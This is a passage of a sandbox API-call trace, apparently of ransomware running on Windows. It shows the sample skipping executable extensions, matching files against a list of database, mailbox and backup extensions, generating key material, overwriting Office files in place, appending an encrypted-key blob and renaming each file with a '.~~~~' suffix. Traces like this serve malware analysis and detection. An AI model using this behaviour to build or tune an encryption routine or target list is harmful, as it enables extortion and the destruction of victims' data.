	[0139.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".lnk") returned 0x0
	[0139.967] lstrlenW (lpString=".msp") returned 4
	[0139.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".msp") returned 0x0
	[0139.967] lstrlenW (lpString=".pif") returned 4
	[0139.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".pif") returned 0x0
	[0139.967] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0139.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0139.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme48.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0139.969] lstrlenW (lpString=".sqb") returned 4
	[0139.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".sqb") returned 0x0
	[0139.969] lstrlenW (lpString=".ost") returned 4
	[0139.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".ost") returned 0x0
	[0139.969] lstrlenW (lpString=".txt") returned 4
	[0139.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".txt") returned 0x0
	[0139.969] lstrlenW (lpString=".mdt") returned 4
	[0139.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".mdt") returned 0x0
	[0139.969] lstrlenW (lpString=".BDB") returned 4
	[0139.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".BDB") returned 0x0
	[0139.969] lstrlenW (lpString=".eql") returned 4
	[0139.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".eql") returned 0x0
	[0139.970] lstrlenW (lpString=".DBF") returned 4
	[0139.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".DBF") returned 0x0
	[0139.970] lstrlenW (lpString=".EQL") returned 4
	[0139.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".EQL") returned 0x0
	[0139.970] lstrlenW (lpString=".FDB") returned 4
	[0139.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".FDB") returned 0x0
	[0139.970] lstrlenW (lpString=".EDB") returned 4
	[0139.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".EDB") returned 0x0
	[0139.970] lstrlenW (lpString=".DACPAC") returned 7
	[0139.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".DACPAC") returned 0x0
	[0139.970] lstrlenW (lpString=".VHD") returned 4
	[0139.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".VHD") returned 0x0
	[0139.970] lstrlenW (lpString=".DBV") returned 4
	[0139.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".DBV") returned 0x0
	[0139.970] lstrlenW (lpString=".dacpac") returned 7
	[0139.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".dacpac") returned 0x0
	[0139.970] lstrlenW (lpString=".sdf") returned 4
	[0139.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".sdf") returned 0x0
	[0139.970] lstrlenW (lpString=".accdb") returned 6
	[0139.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".accdb") returned 0x0
	[0139.970] lstrlenW (lpString=".DBX") returned 4
	[0139.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".DBX") returned 0x0
	[0139.970] lstrlenW (lpString=".MDT") returned 4
	[0139.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".MDT") returned 0x0
	[0139.970] lstrlenW (lpString=".SQB") returned 4
	[0139.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".SQB") returned 0x0
	[0139.970] lstrlenW (lpString=".vhd") returned 4
	[0139.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".vhd") returned 0x0
	[0139.971] lstrlenW (lpString=".bac") returned 4
	[0139.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".bac") returned 0x0
	[0139.971] lstrlenW (lpString=".mdf") returned 4
	[0139.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".mdf") returned 0x0
	[0139.971] lstrlenW (lpString=".BAK") returned 4
	[0139.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".BAK") returned 0x0
	[0139.971] lstrlenW (lpString=".BAC") returned 4
	[0139.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".BAC") returned 0x0
	[0139.971] lstrlenW (lpString=".dbs") returned 4
	[0139.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".dbs") returned 0x0
	[0139.971] lstrlenW (lpString=".vhdx") returned 5
	[0139.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".vhdx") returned 0x0
	[0139.971] lstrlenW (lpString=".NDF") returned 4
	[0139.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".NDF") returned 0x0
	[0139.971] lstrlenW (lpString=".dat") returned 4
	[0139.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".dat") returned 0x0
	[0139.971] lstrlenW (lpString=".DBS") returned 4
	[0139.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".DBS") returned 0x0
	[0139.971] lstrlenW (lpString=".CKP") returned 4
	[0139.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".CKP") returned 0x0
	[0139.971] lstrlenW (lpString=".edb") returned 4
	[0139.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".edb") returned 0x0
	[0139.971] lstrlenW (lpString=".PST") returned 4
	[0139.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".PST") returned 0x0
	[0139.972] lstrlenW (lpString=".dbf") returned 4
	[0139.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".dbf") returned 0x0
	[0139.972] lstrlenW (lpString=".SQL") returned 4
	[0139.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".SQL") returned 0x0
	[0139.972] lstrlenW (lpString=".pst") returned 4
	[0139.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".pst") returned 0x0
	[0139.972] lstrlenW (lpString=".dbv") returned 4
	[0139.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".dbv") returned 0x0
	[0139.972] lstrlenW (lpString=".SDF") returned 4
	[0139.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".SDF") returned 0x0
	[0139.972] lstrlenW (lpString=".dtxs") returned 5
	[0139.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".dtxs") returned 0x0
	[0139.972] lstrlenW (lpString=".db3") returned 4
	[0139.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".db3") returned 0x0
	[0139.972] lstrlenW (lpString=".OST") returned 4
	[0139.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".OST") returned 0x0
	[0139.972] lstrlenW (lpString=".dbx") returned 4
	[0139.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".dbx") returned 0x0
	[0139.973] lstrlenW (lpString=".DB3") returned 4
	[0139.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".DB3") returned 0x0
	[0139.973] lstrlenW (lpString=".DAT") returned 4
	[0139.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".DAT") returned 0x0
	[0139.973] lstrlenW (lpString=".VHDX") returned 5
	[0139.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".VHDX") returned 0x0
	[0139.973] lstrlenW (lpString=".ndf") returned 4
	[0139.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".ndf") returned 0x0
	[0139.973] lstrlenW (lpString=".DB") returned 3
	[0139.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".DB") returned 0x0
	[0139.973] lstrlenW (lpString=".sql") returned 4
	[0139.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".sql") returned 0x0
	[0139.973] lstrlenW (lpString=".MYD") returned 4
	[0139.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".MYD") returned 0x0
	[0139.973] lstrlenW (lpString=".DBT") returned 4
	[0139.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".DBT") returned 0x0
	[0139.973] lstrlenW (lpString=".ACCDB") returned 6
	[0139.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".ACCDB") returned 0x0
	[0139.973] lstrlenW (lpString=".fdb") returned 4
	[0139.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".fdb") returned 0x0
	[0139.973] lstrlenW (lpString=".bak") returned 4
	[0139.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".bak") returned 0x0
	[0139.973] lstrlenW (lpString=".myd") returned 4
	[0139.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".myd") returned 0x0
	[0139.973] lstrlenW (lpString=".DTXS") returned 5
	[0139.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".DTXS") returned 0x0
	[0139.973] lstrlenW (lpString=".ckp") returned 4
	[0139.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".ckp") returned 0x0
	[0139.974] lstrlenW (lpString=".dbt") returned 4
	[0139.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".dbt") returned 0x0
	[0139.974] lstrlenW (lpString=".db") returned 3
	[0139.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".db") returned 0x0
	[0139.974] lstrlenW (lpString=".TXT") returned 4
	[0139.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".TXT") returned 0x0
	[0139.974] lstrlenW (lpString=".MDF") returned 4
	[0139.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".MDF") returned 0x0
	[0139.974] lstrlenW (lpString=".bdb") returned 4
	[0139.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".bdb") returned 0x0
	[0139.974] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0139.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0139.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0139.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0139.974] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0139.975] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0139.975] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0139.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0139.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0139.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0139.976] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25996594120) returned 1
	[0139.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbcd94e30, dwHighDateTime=0x1d60e1e)) 
	[0139.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0139.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0139.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0139.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d6c0
	[0139.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0139.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d6c0 | out: hHeap=0x300000) returned 1
	[0139.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0139.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0139.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e490
	[0139.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0139.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0139.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e490 | out: hHeap=0x300000) returned 1
	[0139.977] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0139.977] GetLastError () returned 0x0
	[0139.977] GetLastError () returned 0x0
	[0139.977] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0139.977] GetLastError () returned 0x0
	[0139.978] GetLastError () returned 0x0
	[0139.978] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.002] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.002] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0140.003] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.003] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.026] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.026] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.026] CloseHandle (hObject=0x114) returned 1
	[0140.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e490
	[0140.026] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme48.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme48.css.~~~~")) returned 1
	[0140.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e490 | out: hHeap=0x300000) returned 1
	[0140.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0140.029] GetLastError () returned 0x0
	[0140.029] RtlWakeConditionVariable () returned 0x0
	[0140.029] GetCurrentThreadId () returned 0xaf0
	[0140.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".scr") returned 0x0
	[0140.029] lstrlenW (lpString=".cmd") returned 4
	[0140.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".cmd") returned 0x0
	[0140.030] lstrlenW (lpString=".dll") returned 4
	[0140.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".dll") returned 0x0
	[0140.030] lstrlenW (lpString=".bat") returned 4
	[0140.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".bat") returned 0x0
	[0140.030] lstrlenW (lpString=".cpl") returned 4
	[0140.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".cpl") returned 0x0
	[0140.030] lstrlenW (lpString=".sys") returned 4
	[0140.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".sys") returned 0x0
	[0140.030] lstrlenW (lpString=".msc") returned 4
	[0140.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".msc") returned 0x0
	[0140.030] lstrlenW (lpString=".com") returned 4
	[0140.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".com") returned 0x0
	[0140.030] lstrlenW (lpString=".lnk") returned 4
	[0140.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".lnk") returned 0x0
	[0140.030] lstrlenW (lpString=".msp") returned 4
	[0140.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".msp") returned 0x0
	[0140.030] lstrlenW (lpString=".pif") returned 4
	[0140.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".pif") returned 0x0
	[0140.030] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0140.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme49.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0140.033] lstrlenW (lpString=".sqb") returned 4
	[0140.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".sqb") returned 0x0
	[0140.033] lstrlenW (lpString=".ost") returned 4
	[0140.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".ost") returned 0x0
	[0140.033] lstrlenW (lpString=".txt") returned 4
	[0140.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".txt") returned 0x0
	[0140.033] lstrlenW (lpString=".mdt") returned 4
	[0140.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".mdt") returned 0x0
	[0140.033] lstrlenW (lpString=".BDB") returned 4
	[0140.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".BDB") returned 0x0
	[0140.033] lstrlenW (lpString=".eql") returned 4
	[0140.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".eql") returned 0x0
	[0140.033] lstrlenW (lpString=".DBF") returned 4
	[0140.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".DBF") returned 0x0
	[0140.033] lstrlenW (lpString=".EQL") returned 4
	[0140.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".EQL") returned 0x0
	[0140.033] lstrlenW (lpString=".FDB") returned 4
	[0140.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".FDB") returned 0x0
	[0140.033] lstrlenW (lpString=".EDB") returned 4
	[0140.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".EDB") returned 0x0
	[0140.033] lstrlenW (lpString=".DACPAC") returned 7
	[0140.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".DACPAC") returned 0x0
	[0140.033] lstrlenW (lpString=".VHD") returned 4
	[0140.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".VHD") returned 0x0
	[0140.034] lstrlenW (lpString=".DBV") returned 4
	[0140.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".DBV") returned 0x0
	[0140.034] lstrlenW (lpString=".dacpac") returned 7
	[0140.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".dacpac") returned 0x0
	[0140.034] lstrlenW (lpString=".sdf") returned 4
	[0140.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".sdf") returned 0x0
